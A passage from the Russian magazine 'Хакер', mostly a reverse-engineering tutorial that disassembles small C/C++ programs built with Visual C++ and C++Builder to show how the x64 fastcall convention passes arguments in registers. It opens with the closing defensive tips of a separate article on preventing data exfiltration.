ностью изо­лиро­ван­ными от мировой сети. Тем не менее наибо­лее эффектив‐­
ный и недоро­гой метод про­тиво­дей­ствия — это бло­киров­ка исхо­дяще­го тра‐­
фика. Если заб­локиро­вать облачные дис­ки и  мес­сен­дже­ры на  перимет­ре
ком­пании, это оста­новит хотя бы сот­рудни­ков, не обла­дающих спе­циаль­ными
зна­ниями.
Ве­дение белого спис­ка внеш­них хос­тов, к  которым раз­решен тра­фик
ICMP, огра­ничит воз­можность пос­тро­ения ICMP-тун­неля.
Для эксфиль­тра­ции через веб‑сер­висы мож­но исполь­зовать прак­тичес­ки
любой ресурс, поз­воля­ющий заг­ружать дан­ные. Но  все ресур­сы, где есть
фун­кция ком­менти­рова­ния, заб­локиро­вать невоз­можно, не  сде­лав
инфраструк­туру изо­лиро­ван­ной.
Про­фили­рова­ние тра­фика орга­низа­ции и выяв­ление базово­го уров­ня поз‐­
волит находить ано­малии в количес­тве или раз­мерах пакетов, что может сви‐­
детель­ство­вать о попыт­ке эксфиль­тра­ции дан­ных. Исполь­зование же сис­тем
DLP эффектив­но ров­но до того момен­та, пока зло­умыш­ленник не нач­нет при‐­
менять шиф­рование.
В зак­лючение напом­ню, что сис­темы бес­полез­ны, если у зло­умыш­ленни­ка
будет физичес­кий дос­туп к  ПК, воз­можность вста­вить свою флеш­ку, 3G-
модем или  выдер­нуть сетевой кабель и  вста­вить в  свой ноут­бук или  роутер.
ВЗЛОМ

ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ
ХАКЕРСТВА

Крис Касперски
Известный российский
хакер. Легенда ][, ex-
редактор ВЗЛОМа. Также
известен под псевдонимами
мыщъх, nezumi (яп. 鼠,
мышь), n2k, elraton, souriz,
tikus, muss, farah, jardon,
KPNC.

СОГЛАШЕНИЕ
О БЫСТРЫХ
ВЫЗОВАХ — FASTCALL
Юрий Язев
Широко известен под
псевдонимом yurembo.
Программист, разработчик
видеоигр, независимый
исследователь. Старый автор
журнала «Хакер».
yazevsoft@gmail.com

На плат­форме x64  фак­тичес­ки сущес­тву­ет толь­ко одно сог‐­


лашение вызовов фун­кций  — fastcall. Судя по  дизас­сем‐­
блер­ным лис­тингам, ком­пилятор при  генера­ции кода авто‐­
мати­чес­ки меня­ет любое дру­гое про­писан­ное прог­раммис‐­
том сог­лашение на  него. В  этой статье мы раз­берем­ся, что
такое fastcall, рас­смот­рим исполь­зуемые в этом сог­лашении
парамет­ры и дру­гие важ­ные понятия.

Фундаментальные основы хакерства


Пят­надцать лет назад эпи­чес­кий труд Кри­са Кас­пер­ски «Фун­дамен­таль­ные
осно­вы хакерс­тва» был нас­толь­ной кни­гой каж­дого начина­юще­го иссле­дова‐­
теля в  области компь­ютер­ной безопас­ности. Одна­ко вре­мя идет, и  зна­ния,
опуб­ликован­ные Кри­сом, теря­ют акту­аль­ность. Редак­торы «Хакера» попыта‐­
лись обно­вить этот объ­емный труд и  перенес­ти его из  вре­мен Windows
2000 и Visual Studio 6.0 во вре­мена Windows 10 и Visual Studio 2019.
Ссыл­ки на дру­гие статьи из это­го цик­ла ищи на стра­нице авто­ра.

Как сле­дует из наз­вания, fastcall пред­полага­ет быс­трый вызов фун­кции. Дру‐­


гими сло­вами, при  его исполь­зовании парамет­ры переда­ются через регис‐­
тры про­цес­сора, что отра­жает­ся на  ско­рос­ти работы под­прог­рамм. Меж­ду
тем во вре­мена x86 fastcall не был стан­дарти­зиро­ван, что соз­давало немало
труд­ностей прог­раммис­ту.
В ори­гиналь­ном изда­нии кни­ги «Фун­дамен­таль­ные осно­вы хакерс­тва»
Крис в свой­ствен­ной ему манере очень под­робно опи­сал механиз­мы переда‐­
чи парамет­ров с  помощью регис­тров для  32-бит­ных ком­пилято­ров. Он упо‐­
мянул C/C++ и  Turbo Pascal от  раз­личных фирм‑раз­работ­чиков, таких
как Microsoft, Borland, Watcom (эта ком­пания ныне ско­рее мер­тва, чем жива,
одна­ко откры­тый про­ект их ком­пилято­ра мож­но най­ти на  GitHub). Крис под‐­
робно опи­сал переда­чу как целых, так и вещес­твен­ных типов дан­ных: int, long,
float, single, double, extended, real, etc.
С тех пор как  бал пра­вит архи­тек­тура x86_64, обо  всех сог­лашени­ях
переда­чи парамет­ров про­цеду­рам и фун­кци­ям мож­но забыть, как о страш­ном
сне. Теперь в этой сфе­ре все уста­кани­лось и ста­ло стан­дарти­зиро­вано, чего
никак не мог­ли добить­ся во вре­мена x86.
Бла­года­ря воз­росше­му количес­тву регис­тров на плат­форме x64 для ком‐­
пилято­ров C/C++ име­ется толь­ко одно сог­лашение вызова. Пер­вые четыре
целочис­ленных парамет­ра или  ука­зате­ля переда­ются в  регис­трах RCX, RDX,
R8, R9. Для  C++ в  подав­ляющем боль­шинс­тве вызовов методов пер­вый
целочис­ленный параметр занима­ет ука­затель this. Пер­вые четыре парамет‐­
ра, пред­став­ленные зна­чени­ями с  пла­вающей запятой (вещес­твен­ные зна‐­
чения), переда­ются в  регис­трах XMM0, XMM1, XMM2, XMM3 рас­ширения SSE.
На  64-бит­ной плат­форме набор это­го рас­ширения был уве­личен
с 8 до 16 регис­тров.
До­пол­нитель­ные парамет­ры, если они есть, переда­ются через стек.
Вызыва­ющая фун­кция резер­виру­ет мес­то в  сте­ке, а  вызыва­емая может раз‐­
местить там передан­ные в регис­трах перемен­ные.

Ре­гис­тры про­цес­сора архи­тек­туры x86_64

ИДЕНТИФИКАЦИЯ ПЕРЕДАЧИ И ПРИЕМА РЕГИСТРОВ


Пос­коль­ку вызыва­емая и  вызыва­ющая фун­кции вынуж­дены при­дер­живать­ся
общих сог­лашений при  переда­че парамет­ров через регис­тры, ком­пилято­ру
при­ходит­ся помещать парамет­ры в  те регис­тры, в  которых их ожи­дает
вызыва­емая фун­кция, а не туда, куда ему «удоб­но». В резуль­тате перед каж‐­
дой соот­ветс­тву­ющей сог­лашению fastcall фун­кци­ей появ­ляет­ся код, «тасу‐­
ющий» содер­жимое регис­тров стро­го опре­делен­ным обра­зом  — задан­ным
стан­дартом для x64 (мы рас­смот­рели его в пре­дыду­щем раз­деле).
При ана­лизе кода вызыва­ющей фун­кции не  всег­да мож­но рас­познать
переда­чу парамет­ров через регис­тры (если толь­ко их ини­циали­зация
не  будет слиш­ком наг­лядна). Поэто­му при­ходит­ся обра­щать­ся непос­редс‐­
твен­но к вызыва­емой фун­кции. Регис­тры, которые фун­кция сох­раня­ет в сте­ке
сра­зу пос­ле получе­ния управле­ния, не  переда­ют парамет­ры, и  из спис­ка
«кан­дидатов» их мож­но вычер­кнуть.
Есть ли сре­ди оставших­ся такие, содер­жимое которых исполь­зует­ся
без  явной ини­циали­зации? В  пер­вом приб­лижении фун­кция при­нима­ет
парамет­ры имен­но через эти регис­тры. При  деталь­ном же рас­смот­рении
проб­лемы всплы­вает нес­коль­ко ого­ворок. Во‑пер­вых, через регис­тры могут
переда­вать­ся (и очень час­то переда­ются) неяв­ные парамет­ры фун­кции  —
ука­затель this, ука­зате­ли на  вир­туаль­ные таб­лицы объ­екта и  так далее.
Во‑вто­рых, если кри­вору­кий прог­раммист, наде­ясь, что зна­чение перемен‐­
ной пос­ле объ­явле­ния дол­жно быть рав­но нулю, забыва­ет об ини­циали­зации,
а  ком­пилятор помеща­ет перемен­ную в  регистр, то при  ана­лизе прог­раммы
она может быть при­нята за переда­ваемый через регистр параметр фун­кции.
Са­мое инте­рес­ное, что этот регистр может по  слу­чай­ному сте­чению
обсто­ятель­ств явно ини­циали­зиро­вать­ся вызыва­ющей фун­кци­ей. Пред­ста‐­
вим, что прог­раммист перед  этим вызывал фун­кцию, воз­вра­щаемо­го зна‐­
чения которой не  исполь­зовал. Ком­пилятор помес­тил неини­циали­зиро­ван‐­
ную перемен­ную в  RAX. При­чем, если фун­кция при сво­ем нор­маль­ном завер‐­
шении воз­вра­щает ноль (как час­то и  быва­ет), все может работать... Что­бы
выловить этот баг, иссле­дова­телю при­дет­ся про­ана­лизи­ровать алго­ритм
и  выяс­нить, дей­стви­тель­но ли в  RAX находит­ся код успешно­го завер­шения
фун­кции, или  же име­ет мес­то наложе­ние перемен­ных. Впро­чем, если отки‐­
нуть кли­ничес­кие слу­чаи, переда­ча аргу­мен­тов через регис­тры не  силь­но
усложня­ет ана­лиз, в чем мы сей­час и убе­дим­ся.

ПРАКТИЧЕСКОЕ ИССЛЕДОВАНИЕ МЕХАНИЗМА ПЕРЕДАЧИ


АРГУМЕНТОВ ЧЕРЕЗ РЕГИСТРЫ
Для зак­репле­ния все­го ска­зан­ного давай рас­смот­рим сле­дующий при­мер:

#include <stdio.h>
#include <string>

// Функция MyFunc с различными типами аргументов


// для демонстрации механизма их передачи
int MyFunc(char a, int b, long int c, int d)
{
return a + b + c + d;
}

int main()
{
printf("%x\n", MyFunc(0x1, 0x2, 0x3, 0x4));
return 0;
}

Ис­ходник fastcall_4_args

Вы­вод при­ложе­ния — сум­ма чисел в шес­тнад­цатерич­ном фор­мате

Пе­ред пос­тро­ением это­го при­мера отклю­чи опти­миза­цию. Резуль­тат его


обра­бот­ки ком­пилято­ром Microsoft Visual C++ 2019 дол­жен выг­лядеть так:

main proc near


sub rsp, 28h

Все аргу­мен­ты помеща­ются в  регис­тры. Судя по  их зна­чени­ям, в  обратном


поряд­ке. Ради нез­начитель­ной опти­миза­ции ком­пилятор решил не  задей‐­
ство­вать регис­тры пол­ностью, а, зная типы дан­ных наперед, исполь­зовать
толь­ко необ­ходимое прос­транс­тво. Таким обра­зом, вмес­то того, что­бы
выделять регис­тры целиком: R9, R8, RDX, RCX, были отда­ны толь­ко полови­ны
пер­вых трех (R9D, R8D, EDX) и лишь вось­мая часть пос­ледне­го — регистр CL.

mov r9d, 4 ; d
mov r8d, 3 ; c
mov edx, 2 ; b
mov cl, 1 ; a

В ито­ге IDA без нашей помощи вос­ста­нови­ла про­тотип вызыва­емой фун­кции.


Но если бы у нее не получи­лось это сде­лать? Тог­да бы мы гадали: Long, как и
int, занима­ет 32 бита, char — единс­твен­ный тип дан­ных, занима­ющий один
байт.

call MyFunc(char,int,long,int)
mov edx, eax

Не­важ­но, ког­да ты будешь читать этот текст, воз­можно, во вре­мена Windows


17 и Intel Core i9, одна­ко сис­темные прог­раммис­ты могут изме­нить раз­меры
базовых типов дан­ных в соот­ветс­твии с архи­тек­турой вычис­литель­ных сис­тем.
Что­бы узнать их раз­мер кон­крет­но на тво­ей машине, мож­но вос­поль­зовать­ся
такой незамыс­ловатой прог­раммой:

#include <iostream>

const int byte = 8;

int main()
{
std::cout << "int = " << sizeof(int) * byte << '\n';
std::cout << "long = " << sizeof(long) * byte << '\n';
std::cout << "bool = " << sizeof(bool) * byte << '\n';
std::cout << "float = " << sizeof(float) * byte << '\n';
std::cout << "double = " << sizeof(double) * byte << '\n';
// и так далее нужные тебе типы данных
return 0;
}

По­лучен­ный при  выпол­нении фун­кции MyFunc резуль­тат (сум­ма парамет­ров)


переда­ется фун­кции printf для  вывода на  кон­соль в  шес­тнад­цатерич­ном
виде:

lea rcx, _Format ; "%x\n"


call printf
xor eax, eax
add rsp, 28h
retn
main endp

Ди­зас­сем­блер­ный лис­тинг фун­кции MyFunc выг­лядит сле­дующим обра­зом:

int MyFunc(char, int, long, int) proc near


arg_0 = byte ptr 8
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_18 = dword ptr 20h

Сна­чала фун­кция раз­матыва­ет содер­жимое регис­тров по сте­ку. Обра­ти вни‐­


мание, как она это дела­ет: в аргу­мен­тах заданы раз­меры. Они при­бав­ляют­ся
к отри­цатель­ному зна­чению вер­шины сте­ка — RSP, и по получив­шемуся адре‐­
су в сте­ке кла­дет­ся зна­чение из соот­ветс­тву­юще­го по раз­меру регис­тра.

mov [rsp+arg_18], r9d


mov [rsp+arg_10], r8d
mov [rsp+arg_8], edx
mov [rsp+arg_0], cl
movsx eax, [rsp+arg_0]

Пос­ле это­го в  регис­тре EAX накап­лива­ется сум­ма всех шес­тнад­цатерич­ных


зна­чений, передан­ных в фун­кцию MyFunc, и  в него же воз­вра­щает­ся резуль‐­
тат:

add eax, [rsp+arg_8]


add eax, [rsp+arg_10]
add eax, [rsp+arg_18]
retn
int MyFunc(char, int, long, int) endp

А теперь пос­мотрим, что сге­нери­ровал C++Builder 10.3. Сна­чала main:

main proc near


var_14 = dword ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
sub rsp, 38h

Здесь мы видим, что пос­ле ини­циали­зации сте­ка ком­пилятор помеща­ет


парамет­ры в регис­тры в пря­мом поряд­ке, то есть в том, в котором их передал
прог­раммист в ори­гиналь­ной прог­рамме на язы­ке высоко­го уров­ня.

mov eax, 1
mov r8d, 2
mov r9d, 3
mov r10d, 4

Пос­ле это­го, по  сути, мож­но вызывать сле­дующую фун­кцию, переда­вая


парамет­ры в  регис­трах. Имен­но это  Visual C++ и  делал. Тем не  менее
C++Builder нагоро­дил допол­нитель­ного кода: он заг­ружа­ет зна­чения регис‐­
тров в  стек, как  бы обме­нивая их зна­чения, но  в ито­ге все рав­но вызыва­ет
MyFunc и переда­ет четыре парамет­ра в регис­трах. Как же это неоп­тималь­но!

mov [rsp+38h+var_4], 0
mov [rsp+38h+var_8], ecx
mov [rsp+38h+var_10], rdx
mov ecx, eax ; int
mov edx, r8d ; __int64
mov r8d, r9d
mov r9d, r10d
call MyFunc(char,int,long,int)
lea rcx, unk_44A000
mov edx, eax
; Возвращаемое значение выводим на консоль
call printf
mov [rsp+38h+var_4], 0
mov [rsp+38h+var_14], eax
mov eax, [rsp+38h+var_4]
; Обрати внимание: этот компилятор еще и сам чистит стек
add rsp, 38h
retn
main endp

За­тем MyFunc:

MyFunc(char, int, long, int) proc near


var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1

И тут C++Builder нагоро­дил лиш­ний код. Пос­ле ини­циали­зации сте­ка зна‐­


чение  8-бит­ного регис­тра CL копиру­ется в  AL. Понят­но, что  8-бит­ным явля‐­
ется пер­вый переда­ваемый параметр типа char. Но если мы заг­лянем в main,
то обна­ружим, что отту­да не  переда­ется  8-бит­ный параметр. Меж­ду тем
переда­ется  32-бит­ный ECX: mov ecx, eax. И  уже в  MyFunc берет­ся толь­ко
чет­вертая часть от ECX и помеща­ется в AL.

sub rsp, 18h


mov al, cl
; Помещает значения аргументов в стек с учетом размеров переменных
mov [rsp+18h+var_1], al
mov [rsp+18h+var_8], edx
mov [rsp+18h+var_C], r8d
mov [rsp+18h+var_10], r9d

Те­перь, узнав раз­меры парамет­ров, можем вывес­ти про­тотип (сов­ремен­ная


IDA справ­ляет­ся с этим без нашей помощи, но нам ведь тоже это надо уметь):

MyFunc(char a, int b, int c, int d)

Од­нако порядок сле­дова­ния трех пос­ледних аргу­мен­тов может быть иным,


так­же сто­ит учи­тывать, что в  Windows тип Long тоже  32-бит­ный и  он тоже
пред­назна­чен для  обра­бот­ки целочис­ленных зна­чений. Сле­дова­тель­но,
исполь­зует те же регис­тры про­цес­сора.
Да­лее к находя­щему­ся в регис­тре ECX зна­чению пос­тепен­но при­бав­ляет­ся
каж­дое зна­чение аргу­мен­та, ранее помещен­ное в стек:

movsx ecx, [rsp+18h+var_1]


add ecx, [rsp+18h+var_8]
add ecx, [rsp+18h+var_C]
add ecx, [rsp+18h+var_10]
mov [rsp+18h+var_14], ecx
; В регистре EAX возвращаем результат
mov eax, [rsp+18h+var_14]
; Обнуляем стек
add rsp, 18h
retn
MyFunc(char, int, long, int) endp

К сло­ву, ком­пиляция выпол­нена из‑под све­жень­кой Windows 11, одна­ко


это никак не пов­лияло на дизас­сем­блер­ный лис­тинг.

Вы­пол­нение при­ложе­ния коман­дной стро­ки в Windows 11

Как мы видим, в переда­че парамет­ров через регис­тры ничего слож­ного нет.


Мож­но, даже не  при­бегая к  помощи IDA, вос­ста­новить под­линный про­тотип
вызыва­емой фун­кции. Одна­ко рас­смот­ренная выше ситу­ация иде­али­зиро‐­
вана, и в реаль­ных прог­раммах переда­ча одних лишь непос­редс­твен­ных зна‐­
чений встре­чает­ся ред­ко. Осво­ившись с  быс­тры­ми вызова­ми, давай дизас‐­
сем­бли­руем более труд­ный при­мер:

#include <stdio.h>
#include <string.h>

int MyFunc(char a, int* b, int c)


{
return a + b[0] + c;
}

int main()
{
int a = 2;
printf("%x\n", MyFunc(strlen("1"), &a, strlen("333")));
}

Ре­зуль­тат его ком­пиляции в Visual C++ 2019 дол­жен выг­лядеть так:

main proc near


; Объявляем переменные
b = dword ptr -18h
var_10 = qword ptr -10h
; Инициализация стека
sub rsp, 38h
mov rax, cs:__security_cookie
xor rax, rsp
mov [rsp+38h+var_10], rax
; Присваиваем переменной b типа int значение 2
mov [rsp+38h+b], 2

Эге‑гей! Даже с  отклю­чен­ной опти­миза­цией ком­пилятор не  стал дваж­ды


вызывать фун­кцию strlen, а сра­зу под­ста­вил вычис­ленные резуль­таты:

mov r8d, 3 ; c — очевидно, это третий параметр — strlen("333"), то


есть число 3
lea rdx, [rsp+38h+b]; b — указатель на переменную b
mov cl, 1 ; a — первый параметр, тип char, число 1, результат
strlen("1")

Па­рамет­ры фун­кции, как  и положе­но, переда­ются в  обратном поряд­ке.


По име­ющей­ся информа­ции, даже без помощи IDA мы можем зап­росто вос‐­
ста­новить про­тотип фун­кции: MyFunc(char,int *,int).

call MyFunc(char,int *,int)


; Передаются три аргумента, а возвращается один — в регистре EAX
mov edx, eax
lea rcx, _Format ; "%x\n"

Пос­ле заряд­ки фор­матной стро­ки резуль­тат отправ­ляет­ся на  печать. Затем


регистр EAX обну­ляет­ся. Стек вос­ста­нав­лива­ется и деини­циали­зиру­ется.

call printf
xor eax, eax
mov rcx, [rsp+38h+var_10]
xor rcx, rsp ; StackCookie
call __security_check_cookie
add rsp, 38h
retn

Продолжение статьи

ВЗЛОМ ←
НАЧАЛО СТАТЬИ

ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ ХАКЕРСТВА СОГЛАШЕНИЕ О БЫСТРЫХ ВЫЗОВАХ —
FASTCALL

Оз­накомим­ся с дизас­сем­блер­ным лис­тингом фун­кции MyFunc:

int MyFunc(char, int *, int) proc near ; CODE XREF: main+28↓p


arg_0 = byte ptr 8
arg_8 = qword ptr 10h
arg_10 = dword ptr 18h

Фун­кция при­нима­ет три аргу­мен­та в  регис­трах по  пра­вилам fastcall и  раз‐­


меща­ет их в сте­ке.

mov [rsp+arg_10], r8d


mov [rsp+arg_8], rdx
mov [rsp+arg_0], cl
; Переменная var_0 расширяется до знакового целого (signed int)
movsx eax, [rsp+arg_0]
mov ecx, 4
; Умножением на 0 обнуляем RCX — странновато, но как вариант
imul rcx, 0
; Значение переменной arg_8 помещаем в регистр RDX
mov rdx, [rsp+arg_8]

Бе­рем зна­чение из ячей­ки по адре­су [rdx+rcx] и скла­дыва­ем с содер­жимым


регис­тра EAX, в котором было сох­ранено зна­чение перемен­ной arg_0. Затем
переза­писы­ваем этот регистр.

add eax, [rdx+rcx]


; Значение переменной arg_10 суммируем со значением в регистре EAX
add eax, [rsp+arg_10]
; В регистре EAX возвращаем результат
retn
int MyFunc(char, int *, int) endp

Прос­то? Прос­то! Тог­да рас­смот­рим резуль­тат твор­чес­тва C++Builder


(обновлен­ного до 10.4.2 Sydney — это пос­ледняя на вре­мя написа­ния дан­ных
строк вер­сия). Код дол­жен выг­лядеть так:

main proc near


; Объявление переменных
var_28 = dword ptr -28h
var_21 = byte ptr -21h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
push rbp
sub rsp, 50h

От­кры­ваем кадр сте­ка, затем копиру­ем в  регистр RBP ука­затель на  вер­шину
сте­ка, а в регистр RAX — ука­затель на перемен­ную var_14.

lea rbp, [rsp+50h]


lea rax, [rbp+var_14]
mov [rbp+var_4], 0 ; Переменную var_4 инициализируем нулем
mov [rbp+var_8], ecx
mov [rbp+var_10], rdx
mov [rbp+var_14], 2 ; Переменную var_14 инициализируем значением 2

Ес­ли уста­новить кур­сор мыши на  мет­ку unk_44D004, появит­ся всплы­вающая


под­сказ­ка, где будет ука­зано, что мет­ка рав­на 0x31. При этом в ком­мента­рии
ука­зана еди­ница. С чего бы это вдруг? Каким боком еди­ница свя­зана с 0х31?
В десятич­ной сис­теме 0х31 будет 49. Вспо­мина­ем таб­лицу ASCII, где сим‐­
вол под номером 49 и есть циф­ра 1. Ста­новит­ся понят­но, отку­да у оле­ня рога
рас­тут. Фун­кции srtlen в качес­тве парамет­ра переда­ется ука­затель на стро‐­
ку '1'. Ука­затель явля­ется целым зна­чени­ем, а, как мы пом­ним, по сог­лашению
fastcall в x64 пер­вое целое зна­чение переда­ется в регис­тре RCX.

lea rcx, unk_44D004 ; 666

Вспо­мина­ем, что хра­нит­ся в  RAX, — ука­затель на перемен­ную var_14. С этим


понят­но. RAX  — 64-бит­ный регистр, сле­дова­тель­но, адрес при­емни­ка тоже
дол­жен быть 64-бит­ным, на что ука­зыва­ет клю­чевое сло­во qword. Ptr говорит
ассем­бле­ру, что от  перемен­ной var_20 нуж­но не  зна­чение, а  адрес. Таким
обра­зом, получа­ется «ука­затель на ука­затель на зна­чение 2».

mov qword ptr [rbp+var_20], rax


call strlen

По сог­лашению fastcall на 64-бит­ной плат­форме фун­кция воз­вра­щает резуль‐­


тат в регис­тре RAX, а тут, оче­вид­но, резуль­тат нас­толь­ко мал, что для него хва‐­
тило 8-бит­ного регис­тра AL. Естес­твен­но, дли­на стро­ки "1" сос­тавля­ет 1.

mov r8b, al

А здесь уже зна­комым обра­зом берет­ся ука­затель на стро­ку из сег­мента дан‐­


ных, подоб­но тому как это было показа­но на при­мере стро­ки с мет­кой 666.

Сег­мент дан­ных

lea rcx, unk_44D006

Пе­ремен­ная var_21 объ­явле­на раз­мером byte, соот­ветс­твен­но, она как раз


под­ходит для 8-бит­ного зна­чения, хра­няще­гося в регис­тре R8B.

mov [rbp+var_21], r8b


call strlen

В дан­ном слу­чае фун­кция, похоже, вер­нула боль­шее зна­чение и  прог­рамме


понадо­бил­ся  32-бит­ный регистр EAX. Безус­ловно, дли­на стро­ки "333" рав‐­
на 3... И на фига нам 32 бита? Ком­пилятор нем­ного перес­тарал­ся.
Ес­ли прис­мотреть­ся, далее мы уви­дим под­готов­ку регис­тров для переда­чи
аргу­мен­тов. Как  мы пом­ним, C++Builder испо­кон веков переда­ет аргу­мен­ты
сле­ва нап­раво.

mov r9d, eax


mov r8b, [rbp+var_21]

Оче­вид­но, 8-бит­ная перемен­ная var_21 на  язы­ке высоко­го уров­ня будет


иметь тип дан­ных char. Находя­щееся в ней зна­чение перед вызовом фун­кции
MyFunc занима­ет мес­то в  регис­тре ECX, из  чего мож­но сде­лать вывод, что
этот аргу­мент будет передан пер­вым.

movzx ecx, r8b

Да­лее в регистр RDX помеща­ется ука­затель на зна­чение 2. Так как RDX — вто‐­


рой регистр в оче­реди переда­чи, то он будет содер­жать вто­рой аргу­мент.

mov rdx, qword ptr [rbp+var_20] ; int

За­тем по спис­ку для переда­чи исполь­зует­ся регистр R8, но от него нам нуж­на
толь­ко полови­на  — R8D (32  бита). На  дан­ном шаге мы вла­деем всей
информа­цией, что­бы вос­ста­новить про­тотип вызыва­емой кас­томной фун‐­
кции. Поэто­му, не  под­гля­дывая в  дизас­сем­бли­рован­ный код IDA, выведем
про­тотип сами: MyFunc(char,int *,int).

mov r8d, r9d


call MyFunc(char,int *,int)

В RCX из  сег­мента дан­ных копиру­ем стро­ку "%х{символ начала новой


строки}". Пос­ле чего переда­ем фун­кции printf два запол­ненных регис­тра:
RCX, EDX, что­бы та извлек­ла аргу­мен­ты и вывела их на кон­соль.

lea rcx, unk_44D000


mov edx, eax
call printf
; Остальное — закат функции известен и нас мало интересует
mov [rbp+var_4], 0
mov [rbp+var_28], eax
mov eax, [rbp+var_4]
add rsp, 50h
pop rbp
retn
main endp

Меж­ду про­чим, не сто­ит слиш­ком полагать­ся на раз­меры перемен­ных: иног­да


ком­пилятор может сге­нери­ровать такой код, что раз­меры не выручат. Разум‐­
нее полагать­ся на  здра­вый смысл. Кро­ме того, навер­няка ты обра­тил вни‐­
мание, что целевой регистр для  переда­чи аргу­мен­та выбира­ется заведо­мо
боль­ше, чем нуж­но. Это дела­ется в уго­ду опти­миза­ции. Поэто­му при­ходит­ся
рас­кру­чивать дизас­сем­блер­ный лис­тинг к самой ини­циали­зации перемен­ной,
где ком­пилятор работа­ет с  реаль­ными, а  не опти­маль­ными раз­мерами. Ну
и задач­ку нам под­кинул Embarcadero C++Builder! Ник­то не обе­щал, что будет
лег­ко.
Ди­зас­сем­блер­ный лис­тинг фун­кции main, изго­тов­ленный ком­пилято­ром
C++Builder, получил­ся в два раза объ­емнее, чем тот же, но получен­ный из‑под
ком­пилято­ра Visual C++.

Наг­лядное срав­нение раз­меров фун­кций main

ASCII Table

Но это  еще толь­ко пол­беды! Даль­ше нас ждет фун­кция MyFunc. Пер­вое, что
бро­сает­ся в  гла­за при  взгля­де на  код этой фун­кции,  — для  обра­щения
к локаль­ным перемен­ным вмес­то вер­шины сте­ка (регис­тра RSP) исполь­зует­ся
регистр RBP. Что это  зна­чит? Офи­циаль­ная докумен­тация говорит нам, что
RBP — ука­затель на кадр сте­ка, то есть на его текущую кон­фигура­цию. Поэто‐­
му боль­шинс­тво ком­пилято­ров исполь­зуют регистр RSP для  улуч­шения про‐­
изво­дитель­нос­ти генери­руемо­го кода. Но, пос­коль­ку в  нашем слу­чае опти‐­
миза­ция отклю­чена, ком­пилятор не гонит­ся за ско­ростью и исполь­зует более
мед­ленные решения.

MyFunc(char, int *, int) proc near ; CODE XREF: main+58↓p


; Объявление переменных
var_18 = dword ptr -18h ; 32
var_14 = dword ptr -14h ; 32
var_10 = qword ptr -10h ; 64
var_1 = byte ptr -1 ; 8
; Запоминаем кадр стека
push rbp
sub rsp, 18h
lea rbp, [rsp+10h]
; Открываем кадр стека
; В 8-битном регистре CL был передан аргумент char
mov al, cl ; Копируем находящееся в нем значение в регистр AL
mov [rbp+8+var_1], al ; Затем копируем значение в переменную var_1
; Как мы помним, там находится число 1

В RDX переда­ется ука­затель на 2, его помеща­ем в 64-раз­рядную перемен­ную


var_10.

mov [rbp+8+var_10], rdx

В  32-бит­ном регис­тре R8D переда­лось зна­чение  3. Оно копиру­ется


в перемен­ную var_14.

mov [rbp+8+var_14], r8d


; Переменную размером в байт расширяем до знакового двойного слова
movsx ecx, [rbp+8+var_1]
; Ранее скопированный указатель вновь переносим в RDX
mov rdx, [rbp+8+var_10]

При­бав­ляем к  содер­жимому ECX (к зна­чению  1) содер­жимое RDX (ука­затель


на ука­затель на 2, про­ще говоря, прос­то 2).

add ecx, [rdx]

На сле­дующем шаге выпол­няет­ся оче­ред­ное сло­жение: к  накоп­ленной


в  регис­тре ECX сум­ме (3) при­бав­ляет­ся зна­чение перемен­ной var_14 (3).
Сле­дующая инс­трук­ция помеща­ет сум­му в  перемен­ную var_18, затем  —
в  регистр EAX, и  уже он воз­вра­щает­ся выз­вавшей фун­кции main, которая
выведет его содер­жимое на кон­соль.

add ecx, [rbp+8+var_14]


mov [rbp+8+var_18], ecx
mov eax, [rbp+8+var_18]
add rsp, 18h
pop rbp
; Закрываем кадр стека
retn
MyFunc(char, int *, int) endp

ПЕРЕДАЧА ВЕЩЕСТВЕННЫХ ЗНАЧЕНИЙ


В знак ува­жения к Кри­су нель­зя не упо­мянуть, о чем было ска­зано в этом раз‐­
деле ори­гиналь­ного изда­ния. Дело было дав­нее, прог­раммис­ты выжива­ли,
как  мог­ли, и  для работы с  вещес­твен­ными зна­чени­ями исполь­зовали соп‐­
роцес­сор, работав­ший на  одном крис­талле с  CPU. Он имел свой набор
команд, а  при выпол­нении прог­раммы для  него соз­давал­ся отдель­ный стек.
Как раз для переда­чи аргу­мен­тов, пред­став­ляющих вещес­твен­ные зна­чения:
float, double, long double, исполь­зовал­ся стек соп­роцес­сора.
Чуть поз­днее в  про­цес­соре Pentium III и  всех пос­леду­ющих моделях кор‐­
пораци­ей Intel был пред­став­лен набор инс­трук­ций SSE. Вмес­те с новыми инс‐­
трук­циями рас­ширение вклю­чило в  архи­тек­туру восемь новых  128-бит­ных
регис­тров для 32-бит­ных про­цес­соров и впос­ледс­твии 16 128-бит­ных регис‐­
тров для 64-бит­ных про­цес­соров.
У сов­ремен­ных прог­раммис­тов проб­лем нам­ного мень­ше, и  кодоко­пате‐­
лям мень­ше стра­дать, раз­гры­зая их тво­рения, потому что пер­вые четыре
вещес­твен­ных зна­чения переда­ются в регис­трах XMM0 — XMM3. Если аргу­мен‐­
тов боль­ше, то оставши­еся переда­ются через стек. Прос­то и понят­но.
Приш­ло вре­мя разоб­рать неболь­шой при­мер переда­чи вещес­твен­ных
зна­чений.

#include <stdio.h>

float MyFunc(float a, double b)


{
return a + b;
}

int main()
{
printf("%f\n", MyFunc(6.66, 7.77));
}

Ре­зуль­тат ком­пиляции Microsoft Visual C++ дол­жен выг­лядеть так:

main proc near


; Инициализация стека
sub rsp, 28h

Под­готав­лива­ем парамет­ры спра­ва налево (Visual C++ всег­да так дела­ет).


Берем зна­чение для ска­ляра b из сег­мента дан­ных: 7.77 — зна­чение двой­ной
точ­ности, помеща­ем его в регистр XMM1 для пос­леду­ющей переда­чи в качес‐­
тве парамет­ра фун­кции MyFunc.
Та­кое же дей­ствие про­вора­чива­ем со ска­ляром a, его зна­чение (оно, нап‐­
ротив, оди­нар­ной точ­ности) записы­ваем в  регистр XMM0. Под­готов­ленные
зна­чения в качес­тве аргу­мен­тов переда­ются фун­кции MyFunc при ее вызове.

movsd xmm1, cs:__real@401f147ae147ae14 ; b

